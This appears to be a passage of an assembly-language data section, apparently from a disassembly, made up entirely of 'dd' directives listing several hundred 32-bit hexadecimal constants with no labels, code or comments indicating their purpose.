dd 0A9204FC0h, 0D2C0022Dh, 0CEEF5FD5h, 3C90CC44h, 0F82CE891h
dd 932F9F05h, 4B9C14D8h, 33C2858h, 0B4210F4Bh, 3004227Ah
dd 4257BCF4h, 4DD0338h, 3814A339h, 540A08C7h, 0DC6AFC00h
dd 821FBBh, 9A9C533Dh, 563F9EC2h, 0E6B5AC0Ah, 0FF0138A0h
dd 0E027FA5Ah, 2C90D1D2h, 0B98E00A2h, 0BFF60263h, 88B34601h
dd 506DF145h, 31599FE8h, 3C71AA0Ah, 774130A1h, 1556E605h
dd 0ACB208C7h, 2F240E00h, 0BFE25D05h, 5976A606h, 3FD84C82h
dd 22CAE4EFh, 6520EEF0h, 503AD5h, 22428112h, 62522954h
dd 4027E20Fh, 0B4C28AC0h, 0C09F9947h, 392A6789h, 9132028Dh
dd 0B1072D7Dh, 6155F8C0h, 0C0647858h, 20A9532Bh, 0DC590012h
dd 1EEAF0F4h, 0C0028743h, 0DA462109h, 7F05178h, 705F232Fh
dd 8BEF9D18h, 7401E005h, 0B4C1CFC9h, 0C5122243h, 6A058820h
dd 285E02F1h, 5CED0BD4h, 0CC6EAC90h, 253EA600h, 0E4B63056h
dd 0AE970564h, 88049C72h, 0F4E4F268h, 0E6748E01h, 45FE376Eh
dd 1CD7C0DAh, 185C488Fh, 0DF1B5722h, 0C23904ECh, 1798DABCh
dd 2490D7h, 0A3B7A4C2h, 6112734Ah, 0B8D3A727h, 0CA68D35Dh
dd 83245603h, 0FC398CE8h, 16E44690h, 0DC6B2605h, 78C85CB7h
dd 1851001Ch, 3172B6D3h, 1200BB7Ah, 0E719010h, 0EFEFA03h
dd 0ED3E0AF2h, 0C1588C12h, 96C65001h, 0E9EFA226h, 292C4C4h
dd 118D0AF5h, 8840641Eh, 6089542Ah, 8F875469h, 0D8617017h
dd 4CB0724Ah, 0C04CA342h, 0C955E882h, 33BBC940h, 4923A70Bh
dd 7BB0848Dh, 0AB6DCD80h, 0D8EA526Bh, 2B2C404Bh, 9705E562h
dd 0C51B7900h, 0F86BD00Ch, 5E631EF1h, 3FD500F2h, 0A24F03D9h
dd 1880C8B6h, 7AFA7FF0h, 1C772E4h, 272ADB32h, 2CBE0335h
dd 685300h, 7DD36C58h, 4C24E83Ah, 5301348Eh, 457C181Bh
dd 6A5FDC80h, 7240409Ch, 94FCF4D2h, 0B3B83480h, 7AA8001Ch
dd 5123688Bh, 36492FAEh, 9CC60409h, 0B7FE5001h, 0A132D616h
dd 22ECD3C8h, 51067FFDh, 0E95705C2h, 4B850031h, 4AA71EE0h
dd 0E677A80Dh, 0E682909h, 6C380036h, 0D2F927A2h, 49883090h
dd 0B5390B60h, 576F003Dh, 32D28246h, 3E0107D9h, 0BCD5963h
dd 0E8D8F8BBh, 0D40757F7h, 3F708710h, 0CFEF4F0h, 98CF0986h
dd 84100375h, 40ED1709h, 71857986h, 11884A02h, 0E2B69536h
dd 68981860h, 6094A126h, 47219C73h, 5212A82Ch, 0F0429822h
dd 80F9E208h, 4E003109h, 5F7662D3h, 0A8332485h, 0B9BC0EBCh
dd 40CD1E8Ch, 564E73E0h, 0C5019892h, 0A33EB29Fh, 0CC40D20Dh
dd 2811DB95h, 60056Dh, 193F04F1h, 0BA18DA32h, 0F3426200h
dd 0E078AE9Ch, 502A5CECh, 132C93DFh, 3584C828h, 0C696EC25h
dd 0D39B00F4h, 0CA5299ACh, 355D37A5h, 0EF84041Ch, 0CC2075D9h
dd 3726F37Ch, 982E64B3h, 959C6B80h, 825A9Fh, 197350B8h
dd 4A6822DDh, 10121276h, 4416B1BEh, 11077C8Ah, 1242E69Ch
dd 0AF40D486h, 6B024C2Fh, 0E40D614h, 1DD84487h, 802A4482h
dd 637697Ah, 322F49D3h, 47CC90F1h, 7280074Bh, 60988901h
dd 5FD7D87Bh, 9C73F9h, 0A2DDE60Fh, 9CD9BCh, 15386ADAh
dd 0FDAE7E6Fh, 0B705EFE8h, 0E307B986h, 7A5448Ch, 0F64A87B0h
dd 25182119h, 0B874F460h, 0CEC5A915h, 0DDE10084h, 7E9022A3h
dd 1CAD01F8h, 0CCF99A0Eh, 0F345C8EBh, 0FCD3DF00h, 126CEC60h
dd 0E1CA0DD8h, 0ED419EC5h, 81AC68B2h, 0EB41EFAAh, 0D02BC097h
dd 0FBF7F25Ch, 0EC202AF5h, 1E18A526h, 0C7D7A6DBh, 6C032433h
dd 0E301F1B9h, 7A71075h, 6421432Eh, 91A7EC28h, 304E0CDFh
dd 72B8060Fh, 0FC4C0C90h, 9370790h, 0E3C564BFh, 21E4A482h
dd 0F0C71485h, 4903579Bh, 0FC8A6D9Ch, 51EF80B5h, 62860E04h
dd 7CFFCE2Eh, 0DAA8383h, 0D6F99A5Ah, 88B038B0h, 3C9D80E9h
dd 0AEDEA1C9h, 8D871C01h, 0DA6FC338h, 7CA3BD8h, 6467F7EEh
dd 0E8C12C81h, 1DD1421Dh, 98CB9680h, 0E956B6Dh, 0A904C25Ch
dd 44CCE4FCh, 6354E40Ah, 0B4E1F007h, 0B69099EBh, 0F64EA5h
dd 0ED41358h, 0F279567Dh, 0E42C4AE8h, 604568E5h, 494FC81h
dd 0FD6D2440h, 86441C39h, 36DEC790h, 57D662F8h, 260340DAh
dd 0ECEF838Ah, 7FE0D093h, 960F019Bh, 78EE8E7Ah, 0EF48242Ch
dd 3045FA5Ah, 0C8A426ECh, 615F1221h, 84085565h, 0D48CCA80h
dd 0E80488FAh, 665FF12Fh, 246148C8h, 8A1458EAh, 72CB8DFh
dd 816FE26Eh, 2A7BC45Bh, 1C2F401h, 0C3366A9h, 8149420Dh
dd 0A2FDE0C1h, 5AAA574Ch, 81DFD40Ch, 20515BFFh, 985A5660h
dd 7DB31A13h, 44E07F0Bh, 66D180B8h, 187F005Ch, 0B8154951h
dd 0E0EAE30Ch, 9B4F13Dh, 7081DEFCh, 40C55F64h, 0AAEA391Ch
dd 0EE67047h, 996FCC04h, 0C4C0A80Bh, 895D5767h, 0DC283B44h
dd 7E1000A4h, 8A66F27Ah, 350964DAh, 18231787h, 790BD4h
dd 0E9F10EF5h, 0F44C33C0h, 44009776h, 1A5CD949h, 3F19C1D6h
dd 0F05CF9C7h, 89378EC0h, 0EEE62E60h, 4D5AFE00h, 25BFDEC6h
dd 44E44CEFh, 7E747D80h, 0CCA6635Eh, 7260A894h, 5A9990h
dd 0CF0DB51Bh, 0D0B36423h, 1C1C2DE1h, 2E00A12Ch, 76972F88h
dd 8EE63A32h, 0F34B6383h, 34DAC238h, 0C30524C0h, 805FFA15h
dd 9FBCC8DCh, 0D4449397h, 8028B800h, 0C6B1387Bh, 0F0A40577h
dd 20E8A6F1h, 32B3ECF0h, 95811340h, 8B49E4A0h, 970484CFh
dd 34A6E636h, 1652088Ch, 230AE0E2h, 0FEF8DC28h, 0B40DCE89h
dd 0A80B4EBEh, 0E8065FC8h, 0DC4C16CFh, 5BC492D6h, 0D9EBC7Bh
dd 221F3080h, 7F2DB0C9h, 44211CAFh, 528D0546h, 47ECC231h
dd 594E18E4h, 0CBC18890h, 4BA900B1h, 290706C7h, 0EC2F08FFh
dd 0E68410F0h, 78E9C7F8h, 649108E9h, 24FD100h, 2BC24259h
dd 28C32C1Dh, 52E0D2C1h, 402ABCFFh, 30313710h, 6F07BB50h
dd 0DA290575h, 0CB4E2AD0h, 26BE00EBh, 5B7E4363h, 74941EEDh
dd 62C27484h, 248044ECh, 0E809476Ch, 434C0200h, 0AE7BB383h
dd 0F2C506E2h, 392CDAFDh
dd 91385E27h, 0CE0C60A0h, 7C3788h, 0D74C4FFBh, 460285Eh
dd 7B902C00h, 0FAEBD847h, 6C57161Ah, 0B36C2005h, 980050DEh
dd 0A539EA07h, 955B7632h, 0D280B810h, 72084B03h, 0B00CF119h
dd 3663FAh, 2A0A9E0h, 509384Eh, 9444044Eh, 58005742h, 8A01373Fh
dd 30F2D014h, 688189D0h, 1C367824h, 8B481D3Dh, 3821154Bh
dd 70A25FE6h, 0BE255A58h, 8BC419F9h, 0F4739E0h, 3F0CD19h
dd 2BCE9280h, 4602613Bh, 6D9EC4F7h, 65DF217Dh, 16E980B3h
dd 0D9087A8Fh, 0DE4801BFh, 1C6D842Ah, 10302BABh, 138BFAA2h
dd 57923E5Fh, 50EC3670h, 0E86010F1h, 74BC7784h, 3E4473BBh
dd 9E0994EDh, 0E4F3DDh, 4C56A401h, 3D0387CAh, 4D4BAE8h
dd 8C30DD58h, 90E080FAh, 0E61E6A8Dh, 618211CDh, 825913D8h
dd 24BA9A80h, 0C6EB40E3h, 0CC5724h, 7D2817E1h, 4E759DD8h
dd 0BB08652h, 0FBCB87h, 42CE56A1h, 4C7A07BBh, 7BF31B7Dh
dd 8F853CC0h, 0A25F49B8h, 2080F470h, 0C8A33A97h, 0BDF1CE80h
dd 57AD010Ch, 0E3F43401h, 0DB5FEE33h, 4AA4402Fh, 0A9120BD9h
dd 0AC306E4Bh, 659D972Ah, 1992D140h, 81F98CA4h, 21FE3A21h
dd 0BC796F60h, 5A936607h, 9D5E8149h, 48032A6Eh, 0F2CCEF89h
dd 1600F81h, 0FDEC591Dh, 1E287DEDh, 0B183DD2Dh, 882AE413h
dd 0CBBDC6Dh, 0FE3E5E4Dh, 0D848ABA9h, 0C8A495F0h, 167F406Bh
dd 0CC30F206h, 0AB7D718Eh, 0B4B9B3h, 0DE93DD41h, 41CE443h
dd 5FCEA296h, 595DE918h, 45630C8Ch, 0B4B983D0h, 3C747101h
dd 2DC02C9Ch, 0DEB0004Fh, 856A56DDh, 0F35AFAAFh, 40158480h
dd 0FB782420h, 0D12D0184h, 41679E69h, 7C7D6C50h, 58B87A2Ch
dd 564620BCh, 9E5108B1h, 0E7940D6Ch, 44822788h, 83AC006Ch
dd 4A8D06F5h, 0AD00CD5Ah, 956E9C2Dh, 4C7D8B7h, 6D90640Bh
dd 8DC481DEh, 2690429Fh, 9660EC90h, 0F912DA02h, 401D1824h
dd 95E5F260h, 5E31C010h, 4C8908E9h, 0E2897C59h, 0C58C3C80h
dd 30078DA5h, 0C81E32ABh, 12F02410h, 0F2ED2DFDh, 199DA466h
dd 0F0625C44h, 569ADC03h, 78E09CB1h, 36006918h, 0A34996E7h
dd 4C74DADDh, 53C36077h, 44E0AAFCh, 4B00D334h, 149AD9AFh
dd 9770A8h, 0FD0FD66Fh, 0FB7D6194h, 0B6001FE4h, 1643DD6Dh
dd 9AFE1F7h, 4A7EE478h, 190154D9h, 95BF9C21h, 0DFC1F0DBh
dd 0B41C0052h, 22080407h, 38907B67h, 9825ACB3h, 0BC2CD14h
dd 3B6C51F5h, 0E4E60E4h, 0CEEF3004h, 55A7E0B8h, 0DDC1EF0Eh
dd 0E871BC42h, 81D483FEh, 2ADBF078h, 0D20117D6h, 90A413C6h
dd 3B6BDA40h, 19946505h, 0AA878D82h, 43B40B10h, 45A439CEh
dd 0B2222C03h, 0E19E29ABh, 1C40EC94h, 0D73768h, 19D95093h
dd 30ED0E6h, 90B02002h, 0F92AC70Ch, 4DE0041Ch, 0FA2F80D3h
dd 6D04866Ch, 5E4F0A15h, 790040F3h, 0A422CFA7h, 610573FEh
dd 8B385FB0h, 6845C490h, 0B39200DAh, 5E4267C7h, 830C019Fh
dd 10F97879h, 3BC30990h, 0C006A54h, 0D2735648h, 31400094h
dd 0E22D6Bh, 884E4B8Eh, 2CC857DCh, 6D5FEC07h, 510BE537h
dd 27FD80C0h, 0C512A444h, 9100C378h, 4AA04750h, 635BF0h
dd 0F5CE813Ch, 7883DAB3h, 279880EDh, 43B6D71h, 0B470FF11h
dd 633704FBh, 0A2D6F203h, 99270004h, 9E3A2F6Fh, 157B7CA1h
dd 584270A7h, 0F8EACF03h, 99F803D2h, 4F007390h, 42B05165h
dd 5819663h, 6836AC6Dh, 0ED98C8D2h, 0C0452A4Ah, 0A0C8D9EFh
dd 0B8FA1651h, 0E0C40D10h, 0B8022A21h, 544378C1h, 0C38C4048h
dd 9E002D14h, 6534FBF1h, 0B02F2141h, 98A700E3h, 7026D64h
dd 534B7FF7h, 0AE218C0h, 0E0298833h, 7BC9E400h, 617113B3h
dd 0B878E781h, 0F40ADF13h, 8707C0C8h, 0BE526F33h, 54D53EB0h
dd 385904B4h, 0E4055BF2h, 28007354h, 0D0D24A3Ah, 95F37C96h
dd 720A0419h, 15B000F4h, 34283AA3h, 20041D0Eh, 4A83FF87h
dd 57F13692h, 0C7B0BB7h, 480D4600h, 808D18h, 9A64E44Fh
dd 0F2A51243h, 0D95B6E0Ch, 88BB714Ah, 0D625FA55h, 1C4C8A2Eh
dd 5881A71Ah, 2D576C0h, 0AA40E09Fh, 44E6C49h, 45665E2Dh
dd 0D3BC0B80h, 0E49F05h, 0A63BB5D8h, 95077FBEh, 60B6D6AEh
dd 57FCE310h, 73DD04DFh, 24445FB8h, 3200F8F2h, 30AECE4Fh
dd 0D170E15Ah, 9293521Ch, 53C08BDDh, 73656D6Ch, 0C0E05BE8h
dd 109542FCh, 58586A48h, 475F05DDh, 2C305428h, 95146h
dd 172C2602h, 35881C7Ah, 281B8000h, 5F165355h, 51B89445h
dd 0C104C093h, 4D1A5400h, 0DB3005BFh, 2729120Ah, 7FD42338h
dd 24F0714Ch, 0AC09EA2Dh, 0C490402Eh, 0E09197F4h, 0EC3009E0h
dd 0C2000DFh, 0AA7A9661h, 0EF122F5Ah, 0C4A4ADF1h, 42ABD1Eh
dd 3CA92584h, 0A50FF864h, 4FE6E16Ah, 922B8066h, 0B95378Ah
dd 22E8DCAFh, 5DF57002h, 2000C405h, 0B61689FAh, 19260022h
dd 68FB5233h, 1C09A3B0h, 0E1EDEE7Eh, 0A82C7D68h, 0F6000889h
dd 352FDE4h, 49D010B7h, 6DEE00A0h, 294B119Eh, 610ABEB3h
dd 8442E985h, 7D6AFC01h, 0E823D899h, 88B8E225h, 0C317DEA6h
dd 0CA1EE521h, 4D30D00h, 1F053Ah, 0EA8639E4h, 21AA63E0h
dd 0A16D1E01h, 0B2EF6C78h, 9D751433h, 11818898h, 2826ECB1h
dd 6F5F0205h, 0BD1ECC8h, 0FBC16D67h, 0E49BC829h, 0E5188EF0h
dd 0C4BEFE00h, 315C6C4Ch, 7AAB0E98h, 0F006E2FCh, 341B9038h
dd 0FAC10103h, 4CA4E4B2h, 240054DFh, 710E8B6Ch, 3130ED1Fh
dd 17D4A9EBh, 0B3610925h, 78A02B3Ah, 3BE0FA5Ah, 102A5127h
dd 0B855E48h, 1A9C1DC0h, 4315D87Bh, 9EDD03A0h, 255C4764h
dd 8A16631h, 0D8B5D70Eh, 6D00AA60h, 0D61C73BBh, 974F562h
dd 0EB64EEBAh, 0A89E50C4h, 80D3C740h, 10A7BF7h, 0A7FC3794h
dd 78717D58h, 2C388044h, 4CD112C3h, 690F1059h, 4120489Dh
dd 29D4A271h, 2F767500h, 79F5659Bh, 7A8409E4h, 0C52E5EFh
dd 0E39C9B9Dh, 8D950E2h, 455E4025h, 50C74C00h, 5AF7EF61h
dd 23130B64h, 0A09830EDh, 5758FA36h, 0E9A7C174h, 0FECC4238h
dd 0DD7D00DCh, 9C607C9Bh, 0F50126E0h, 0EB9068B6h, 4442B0FAh
dd 4A606404h, 4A684081h, 8C230F52h, 99C64300h, 4529D597h
dd 68CA0A5Fh, 28A4AA77h, 68BD5464h, 7C24A130h, 0B60C017h
dd 73007191h, 216E333Bh, 0FA48153h, 0F0D8B29Fh, 0E0824E60h
dd 2A0B76ECh, 9B32DB35h, 36AAC138h, 150FCC73h, 84C09F76h
dd 20D5F12Ah, 1CBCE903h, 98134498h, 4B736A08h, 7FACC8E0h
dd 7500B27Bh, 0E23C7685h, 0A428CF2Fh, 0BA8D22C8h, 44817D4Eh
dd 5500814Fh, 71276A9Eh, 846C22h, 0F038EACBh, 8E6E9B0Dh
dd 510A2A73h, 7C8177CDh, 0DCE59081h, 86C86C2Bh, 37EC00D7h
dd 49DA802Dh, 1E042F56h, 0CBF9A435h, 22316091h, 20F66112h
dd 254E7A7h, 16351FB8h, 4FACA3C0h, 9EF0F800h, 0EAC8EF6Fh
dd 7D5A0222h, 5CBBDC60h, 54007C7Ah, 31213A96h, 0EEDE259h
dd 0A20B4171h, 20614C60h, 0E04B80E1h, 99EAB488h, 0C441B728h
dd 8080BC90h, 0FDF273E8h, 0F85CF950h, 0B2FEC1h, 9E990190h
dd 3FF086C4h, 22D1FA50h, 47886F00h, 33CA360Ch, 91392D27h
dd 90D140E2h, 1F78E4A7h, 0BC18F50Ah, 845A9B80h, 4CF82B95h
dd 0C5A76616h, 83D050C9h, 0C9A52E23h, 2C7301D0h, 2A1D455Eh
dd 0AE71B847h, 0B8B4100Bh, 0B63B00E4h, 0FC56FABh, 0D30045DCh
dd 2D2668EEh, 2601A129h, 0BA09879h, 0A8E85F89h, 5DF896A9h
dd 6B0A84A9h, 9BFC0840h, 71D77B2h, 343154Dh, 7C0A4E4Ah
dd 67280038h
dd 0F1576142h, 2016FA7Eh, 0FCD065E0h, 78A6BC5h, 0BF27D1EDh
dd 519D30E7h, 0BD019A87h, 0C8AA5E8Dh, 12F8E86h, 7F5C8344h
dd 80EC7C6Ch, 0FB2FE97Dh, 33570346h, 0C88952EAh, 0F468C984h
dd 15124ED8h, 0DC02FE14h, 85334C84h, 98B2E094h, 0C4E86100h
dd 3D24BD4Dh, 0A848A977h, 2E5E00FDh, 605DA426h, 9CE5480Dh
dd 62C4781Ch, 3F99A100h, 0D2837E3Eh, 9E342F6Dh, 0DBBA3813h
dd 0E0924DEh, 448EB4h, 53247B15h, 90804AC2h, 36DFAFB8h
dd 0AAE0E913h, 2A4F0A04h, 0D0B27CC5h, 7E4A6305h, 0C67C4048h
dd 2CE36481h, 92001A98h, 1C24C27h, 2F186043h, 90685C5Fh
dd 0C80036C9h, 6675B465h, 0A6E021B7h, 77CB00E0h, 1E554C8Ch
dd 310580A6h, 8403EDC3h, 3CC2B4BCh, 2B02CDC4h, 17BC51E1h
dd 4900916Dh, 0C1842C7Eh, 79DA684Ah, 4512282Dh, 8589386h
dd 0F6183DD0h, 0C62C7E00h, 9C7F209Bh, 0B3AF5865h, 61AADB01h
dd 2903245Bh, 20D700C8h, 6B77E510h, 4A6CBAEFh, 34A00B83h
dd 0C880A704h, 2300B518h, 3DBA94BBh, 5E5B30h, 8393E433h
dd 0F1C6FAFCh, 54040474h, 0B2D9E668h, 0EA6E0BC1h, 1520CC2Ah
dd 724D2100h, 0E506E6C4h, 6985005Ch, 0AE30ECA1h, 8058B1B4h
dd 5F7987F8h, 0B263B610h, 16D4020Eh, 0BFC52430h, 6D8EEC60h
dd 0F1E86416h, 104AB892h, 3BFBBC60h, 0C0C09C35h, 0F28016Fh
dd 9FA77BBDh, 884D47E4h, 2D177FE8h, 4EE86995h, 9A84805Ah
dd 6D27A249h, 0E6F4C163h, 0E1762833h, 79E6EF03h, 3318E0A1h
dd 0B0B07210h, 0CE276B12h, 6F9888h, 75AF67F5h, 0AA18C551h
dd 0DC0358E8h, 2649364Dh, 0F5DBDBh, 0FC50AE50h, 864234A5h
dd 0DAA02095h, 0E024572h, 3F14CDC8h, 0E25F35E0h, 59E4C662h
dd 47324CA0h, 58FE042Eh, 16C0A21Dh, 0B48BDC44h, 0C85F076Dh
dd 435D3433h, 0F6A1E9E7h, 0F9D842F2h, 0D300446Eh, 2DCC4FA0h
dd 2034D6Ah, 5023BEDh, 9C90F1E7h, 0AB0142FBh, 79D872D6h
dd 60D2DBF9h, 8BBBF1C0h, 8FB9E090h, 3EBC7C54h, 87616A69h
dd 0F9E41BC4h, 7A20F3h, 0A4ACF2DEh, 0CBAD0880h, 0B80110EEh
dd 0C3017729h, 8C402737h, 40F6F7EDh, 33527413h, 44D200D0h
dd 94729A4h, 4AA8009Dh, 71427B9Fh, 8CB4B2ABh, 0EC021545h
dd 17D08D6h, 7106615Ah, 983D40C2h, 6B5B9E53h, 605E5044h
dd 0BC86C48Ch, 51688048h, 0C4F6FEFBh, 0A8D11405h, 0D8017B38h
dd 10CFDECh, 0D7BCA181h, 0F02D6C04h, 8D010A2Ch, 6DE4A7D6h
dd 13E57B3Bh, 44A130A5h, 0D261C44Ch, 0C180A8EDh, 2178C571h
dd 0A2B20367h, 28F2A3D2h, 9898AFDBh, 22BD5CA8h, 204379CCh
dd 82099B74h, 12403C94h, 214E15h, 4338AE86h, 0AC3276B9h
dd 565B8B01h, 897B69AFh, 0F2C8256Fh, 98A40048h, 8CEE15B7h
dd 0E6CF002Dh, 7ACDB369h, 0E34E9B61h, 9AD3FC20h, 17D5E84Ch
dd 0A66FC180h, 19B00F8h, 0ECE35CF5h, 55D30FD6h, 813A369h
dd 0EF899C8Ch, 0F4466CEh, 0F8EC2F6Bh, 0EC3ACC84h, 0FD09A0D8h
dd 10DB1F02h, 0EA4D02E6h, 0FF40460Eh, 0BA26E9FBh, 0A8091456h
dd 284C08F0h, 0D9EF3302h, 2B042F52h, 75CCCCE7h, 0E2C94812h
dd 196A780Bh, 0E82C7B48h, 20BC19Fh, 0EC4C0AEDh, 0DDE9A7FAh
dd 0EFE048FCh, 0D8578D4Ah, 2C0E7CC8h, 1DD0C188h, 8E3E001Ah
dd 7A7CC250h, 10C3EF2Dh, 28CAE0Ch, 0A2DA7480h, 28E1C163h
dd 26907936h, 9C60007Dh, 553913h, 51CC5228h, 4DBE8D5h
dd 596CDC01h, 696DBA0Dh, 9E37A18Bh, 5E0BDC59h, 6CB85166h
dd 5F149091h, 595C6CDBh, 0F0404B1Ch, 0CCE77DC8h, 767B0E32h
dd 8660F9CAh, 9AF1B793h, 8164B916h, 30C018D4h, 5C5FE473h
dd 0E822C39h, 4C1AC26h, 2AB082EAh, 7E036F7Fh, 9C2980F0h
dd 0BFF196B2h, 98B1E200h, 432479C6h, 0CC574B8h, 0C78FA33Bh
dd 5B4460D0h, 0F230A861h, 1381D3D8h, 548880Ch, 802D1D00h
dd 16BE055h, 0D2B07BAh, 0EA49F44Ah, 97073E40h, 3FC64851h
dd 1EF5C362h, 0FC7973E0h, 0F12D3A02h, 61BB976Ch, 7429E580h
dd 13646E00h, 0E44CEC46h, 0B45EC35Bh, 0EC221E13h, 81DC7C81h
dd 0AF59B4E8h, 25B6307Ch, 9100A679h, 36C849E7h, 9DE38F68h
dd 5B62AC90h, 59A36404h, 5EC38D6Dh, 0BC88847Fh, 0FD201F8Eh
dd 949032F3h, 0DCC42Bh, 0ED8D865Eh, 18296390h, 0E280AC01h
dd 78BA7EDEh, 0ABA298DFh, 74330901h, 40592CC2h, 27E09700h
dd 83E8BDh, 87486DD9h, 0F3326EEEh, 0A46C4224h, 7429EC12h
dd 0B9A9FCh, 3E599C8Dh, 4180DDDBh, 0FEC492BDh, 0C3954038h
dd 58498284h, 6C781E3Ch, 0E8EB0E40h, 48EA8739h, 0DF39C4E9h
dd 3E5E41E3h, 0D85DE105h, 0E2C01AB2h, 27BAF566h, 0F844E7D1h
dd 9263B500h, 0C2C61DAAh, 7B3E0015h, 78EC2BE8h, 309FFF47h
dd 0F0410h, 46ED5BFBh, 33907408h, 9F9E1500h, 43B152E7h
dd 6EAB2E1Bh, 64904B40h, 0B702EA74h, 731508AFh, 0D78890C5h
dd 0CBF41C44h, 78B7C0DEh, 0CC6AB613h, 0AEF9A93Bh, 6413C40Ch
dd 0B59A4CC8h, 6180748Fh, 17DBBC8h, 17842502h, 8EC5A432h
dd 0C2D4C038h, 11646713h, 27BEF479h, 8DE898ECh, 784886BDh
dd 9C2F2990h, 0D4900A80h, 4CE574E2h, 7D27E464h, 0C877E491h
dd 8F007F1Ch, 0A1881BBh, 9AFC9DCh, 69135233h, 0F071378Bh
dd 749B7600h, 1DD894Eh, 985BAEFDh, 42D4433Bh, 606073E8h
dd 0E8C250A9h, 44B2ED33h, 0D6EF2830h, 58CC816Ch, 0B8D17912h
dd 1AA60607h, 25ACC01h, 0AEF7C4h, 4A811D80h, 8C233CEEh
dd 224F2A0Fh, 803C1159h, 0CFC51880h, 0B0C76279h, 9F00DC7Fh
dd 4739604Eh, 0A17C48F6h, 0AF1152C0h, 0F2205055h, 1001CADh
dd 7F43C541h, 1D7D1757h, 417256E8h, 636DD870h, 806C715Ah
dd 0EB9C4441h, 0EC156DBh, 8A132F7Bh, 32C285E0h, 0CE029849h
dd 186ACA57h, 0F640E05Fh, 87167D0h, 3C0F7B8Ah, 793C3077h
dd 0E70ADDFBh, 0DC475F73h, 64C00F4Bh, 0C4E948D8h, 4D1724C0h
dd 90B57FB3h, 75CD408h, 0CCB8ADD3h, 19F2C678h, 6FD8000h
dd 0C916D38h, 0E6E4F2C0h, 123E71F1h, 1842350Dh, 0D62A6810h
dd 0F9244297h, 0EE2921Ch, 1F003339h, 1E1059C9h, 0AEAB180Fh
dd 3B6B606Ch, 1282C54Eh, 3049B92Ah, 0C70C1C94h, 613CCF12h
dd 8AB644C8h, 2B2534D0h, 59C40B6Ch, 0B5A1DBCh, 1018701Ah
dd 7E4AA7Ch, 0E3867A00h, 0D5217487h, 0FEED018Eh, 7893B4B9h
dd 0FC01CC2Dh, 263E4398h, 61880E68h, 0D9EAA15Fh, 8FE4DA05h
dd 9985h, 4BC9D8CBh, 0C8005F06h, 2105B14Ch, 12E14323h
dd 0A0A50EBAh, 0AC5F3830h, 0D0C494C9h, 13B358D3h, 3364680Eh
dd 1E6404F2h, 0A800121Ch, 0E6D9616Fh, 4B5B0039h, 2472A2BEh
dd 77322342h, 5A80F179h, 0ED0D00F0h, 0AE40FEA3h, 0B00231Ah
dd 959B5A17h, 1E700109h, 6E598AB3h, 202D47F4h, 445FA782h
dd 23963C9Ch, 0F33BD802h, 0B81C5DF5h, 3D00C276h, 9A8C8994h
dd 0FA64F9h, 7E7CF75Ch, 6EE4448Bh, 4159AD13h, 962E4803h
dd 4C81ECE5h, 847369C9h, 3EBA0070h, 84325F41h, 0C601DC01h
dd 947FDA83h, 0DC41FB7Ch, 342B31EDh, 7FFCC2DCh, 0B4DEC2E2h
dd 7FBAA80h, 72033B4Ah, 0A23600F6h, 7613ED0Eh, 270F7C3Ch
dd 0D25F6C2Fh, 0E40370ACh, 0B2645AF8h, 615502D4h, 2FBE4099h
dd 72E004Bh, 0D7A7B51Ah, 91E68146h, 510A5025h, 6D038168h
dd 0ACA9DC64h, 442418C8h, 0FF5CA263h, 1C2026D0h, 41DB17FBh
dd 2394E0E8h, 5C08F9D2h, 680A88B3h, 0F307E680h, 467174h
dd 212D7A92h, 0DBA18516h
dd 534D03Eh, 0A9FD8B6Eh, 330548E2h, 0A45E8003h, 98974EDCh
dd 1A88994h, 466F95ECh, 2B68457Dh, 0D9295C82h, 0FB5D4030h
dd 8E1E0259h, 1A124D73h, 843F7CC1h, 0AA2E5500h, 0C21344Fh
dd 0A8C4FE8Ah, 2F6B249Ah, 0CCEF06C4h, 6E0251CAh, 4672D861h
dd 0EAD86486h, 0B13C1C83h, 6E7800A6h, 16571A31h, 7062B64Bh
dd 0C45123EAh, 895542FCh, 7928485Fh, 0C175015Eh, 8CD8EBB2h
dd 0D95812E4h, 5CF10058h, 41425696h, 0A0BCCE0Eh, 1171E277h
dd 3558C0C7h, 3928205Ch, 63249890h, 0CC2AA843h, 9027200h
dd 0A9DDAA74h, 3E5F12E4h, 61185314h, 703933BCh, 0ED6A620Ch
dd 4C9CDCD2h, 11275C64h, 982BFFD8h, 5CB8C2A8h, 0B8F1EF2Eh
dd 453458h, 4EBD102Dh, 6AF12516h, 0C3FA0D01h, 9046C24Dh
dd 78617C71h, 7378203Ah, 781CB675h, 0AE420FCEh, 0F427056Bh
dd 0E8454BC8h, 0B496500h, 382553h, 31071BCBh, 0B120E060h
dd 0E2505050h, 7997B0B1h, 8280BC66h, 7D1000F8h, 1259243Bh
dd 0C740561h, 0ABD15E14h, 5D98B353h, 186C2DE8h, 0B4E38F58h
dd 16061FD8h, 845C0823h, 91740E8Bh, 0F430E0ECh, 71BD003Bh
dd 0C07DF7A6h, 0DCFB15A3h, 5E7C49FCh, 0A8AE300h, 0CDE48991h
dd 0C8D91F44h, 4CA70BADh, 386E7606h, 36B9CC0Eh, 0D9E9E1h
dd 3D4D083Dh, 0D6C9008Ch, 0F6BF5EC2h, 0A3E8CC22h, 50DF700h
dd 0DACEB309h, 421B0315h, 2CFCFEAFh, 72F2200Ch, 3C75923h
dd 0A4DD6C07h, 0A003FBF1h, 7097D583h, 0A31106EEh, 585442DAh
dd 3B00F4F0h, 655792A5h, 0C2EC1Ch, 9DFECD9Ch, 0F5D12D4Ah
dd 3025700Ch, 604230CBh, 0C44B6959h, 6B0D115Fh, 0A9784CD9h
dd 9431809Fh, 0F300085Dh, 977E43E4h, 80C3FC24h, 0E8F11A49h
dd 7C18820h, 4CEE76FDh, 0B2AA0A3h, 190CBD3Fh, 3128FEDDh
dd 8B8A3020h, 0DF66F7B8h, 0FD814D01h, 9156CC96h, 2639188Bh
dd 0D46EA180h, 2D073A30h, 35B8A237h, 83B19E90h, 258800A3h
dd 0CC9C40DBh, 38C07E4Eh, 7FFBE209h, 6B0D0081h, 0C032D62h
dd 960CCEBBh, 2949D1C2h, 6C24005Eh, 0E07AA0F3h, 432A1594h
dd 2D398477h, 0A8CA802Ch, 0FEEB0D41h, 0BA66FE2Ah, 0A5DD28EBh
dd 0CE20287Ch, 20B26564h, 3454C34Bh, 1F832108h, 0AE3D8099h
dd 93A18A08h, 0F16C040Fh, 0DBCAC1BBh, 5BF134FDh, 5422EDD0h
dd 0DEB4C1h, 0DA12D01h, 618650DAh, 0DB52FA04h, 48CFEDCh
dd 63ED0051h, 962AD53Ch, 0A409EA2Dh, 23FABF1Ah, 0EE220Ch
dd 8FDAE751h, 90739D47h, 266BE00h, 8385ABCBh, 43811582h
